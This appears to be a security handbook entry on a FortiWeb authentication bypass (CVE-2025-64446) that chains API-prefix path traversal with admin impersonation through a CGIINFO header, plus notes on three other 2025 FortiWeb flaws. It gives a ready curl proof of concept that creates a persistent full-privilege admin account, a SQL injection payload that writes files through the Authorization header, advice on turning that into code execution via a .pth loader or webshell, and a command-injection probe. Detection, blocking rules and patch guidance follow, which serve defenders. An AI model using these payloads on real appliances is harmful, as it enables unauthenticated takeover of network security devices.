Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

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Overview

Fortinet FortiWeb exposes a centralized CGI dispatcher at /cgi-bin/fwbcgi. A two-bug chain allows an unauthenticated remote attacker to:

  • Reach fwbcgi by starting the URL with a valid API prefix and traversing directories.
  • Impersonate any user (including the built-in admin) by supplying a special HTTP header that the CGI trusts as identity.

Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Exploitation has been observed in the wild to create persistent admin users.

Impacted versions (as publicly documented):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2 returns HTTP 403 for the traversal probe below.

Quick vulnerability probe

  • Path traversal from API prefix to fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • Interpretation: HTTP 200 → likely vulnerable; HTTP 403 → patched.

Root cause chain

  1. API-prefix path traversal to internal CGI
  • Any request path that begins with a valid FortiWeb API prefix (e.g., /api/v2.0/cmdb/ or /api/v2.0/cmd/) can traverse with ../ to /cgi-bin/fwbcgi.
  1. Minimal-body validation bypass
  • Once fwbcgi is reached, a first gate performs a permissive JSON check keyed by a per-path file under /var/log/inputcheck/. If the file is absent, the check passes immediately. If present, the body only needs to be valid JSON. Use {} as a minimal compliant body.
  1. Header-driven user impersonation
  • The program reads the CGI environment variable HTTP_CGIINFO (derived from the HTTP header CGIINFO), Base64-decodes it, parses JSON, and copies attributes directly into the login context, setting the domain/VDOM. Keys of interest:
    • username, loginname, vdom, profname
  • Example JSON to impersonate the built-in admin:
{
  "username": "admin",
  "profname": "prof_admin",
  "vdom": "root",
  "loginname": "admin"
}

Base64 of the above (as used in-the-wild):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

End-to-end abuse pattern (unauthenticated → admin)

  1. Reach /cgi-bin/fwbcgi via an API-prefix traversal.
  2. Provide any valid JSON body (e.g., {}) to satisfy the input check.
  3. Send header CGIINFO: <base64(json)> where the JSON defines the target identity.
  4. POST the backend JSON expected by fwbcgi to perform privileged actions (e.g., create an admin user for persistence).

Minimal cURL PoC

  • Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • Impersonate admin and create a new local admin user:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
  -H "CGIINFO: $B64" \
  -H 'Content-Type: application/json' \
  -X POST \
  --data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
  'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

Notes:

  • Any valid JSON body suffices (e.g., {}) if /var/log/inputcheck/<path>.json does not exist.
  • The action schema is FortiWeb-internal; the example above adds a local admin with full privileges.

Other FortiWeb 2025 vulnerabilities worth checking quickly

Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)

  • Affects 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10. Fixed in 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11.
  • Bug: get_fabric_user_by_token() uses the Authorization: Bearer <token> value directly in a SQL query. Attacker supplies SQL that runs as MySQL user and can drop files via SELECT ... INTO OUTFILE, yielding code exec (webshell/.pth loader).
  • Typical attack surface: /api/fabric/device/status (and other Fabric Connector endpoints) over HTTP/HTTPS on the management plane.
  • Rapid test for SQLi:
curl -sk -X POST \
  -H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
  https://<host>/api/fabric/device/status
  • Weaponization: write a .pth into FortiWeb’s Python site-packages that imports os;os.system(...) on interpreter start, or drop a CGI under the webroot. Reloading services will execute the payload.
  • Hunting clues: Authorization headers containing quotes/UNION/SELECT; unexpected files under /data/lib/python*/site-packages/ or /data/var/waf/html/ROOT/cgi-bin/.

FortiCloud SSO signature bypass (CVE-2025-59719)

  • Improper SAML signature verification lets an attacker forge FortiCloud SSO responses and log in as admin with no credentials.
  • Only exploitable when FortiCloud SSO login is enabled (it turns on automatically if the appliance was registered via GUI unless the checkbox was unticked).
  • Affected (per PSIRT): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Patched in 8.0.1 / 7.6.5 / 7.4.10.

OS command injection in management plane (CVE-2025-58034)

  • Affected: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Fixed in 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.
  • Practical probe (non-destructive): send a parameter containing ;id; to management HTTP endpoints and watch for 500 responses with command output; block or patch immediately if any echo is seen.

Detection

  • Requests reaching /cgi-bin/fwbcgi via API-prefix paths containing ../ (e.g., /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi).
  • Presence of header CGIINFO with Base64 JSON containing keys username/loginname/vdom/profname.
  • Fabric Connector SQLi: Authorization headers containing SQL metacharacters, sudden files in Python site-packages/CGI dirs, hits to /api/fabric/device/status from internet IPs.
  • FortiCloud SSO: unexpected SAML issuers or audience values in /var/log/ssod.
  • Backend artifacts:
    • Per-path files under /var/log/inputcheck/ (gate configuration).
    • Unexpected admin creation and configuration changes.
  • Rapid validation: the traversal probe returning 200 (exposed) vs 403 (blocked in fixed builds).

Mitigation

  • Upgrade to fixed releases (examples: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) per vendor advisory.
  • Patch the other 2025 flaws: SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2).
  • Until patched:
    • Do not expose FortiWeb management plane to untrusted networks.
    • Add reverse-proxy/WAF rules to block:
      • Paths that start with /api/ and contain ../cgi-bin/fwbcgi.
      • Requests carrying a CGIINFO header.
      • Fabric Connector calls with SQL metacharacters in Authorization.
      • SAML endpoints from the internet if FortiCloud SSO is unused.
    • Monitor and alert on the detection indicators above.

References

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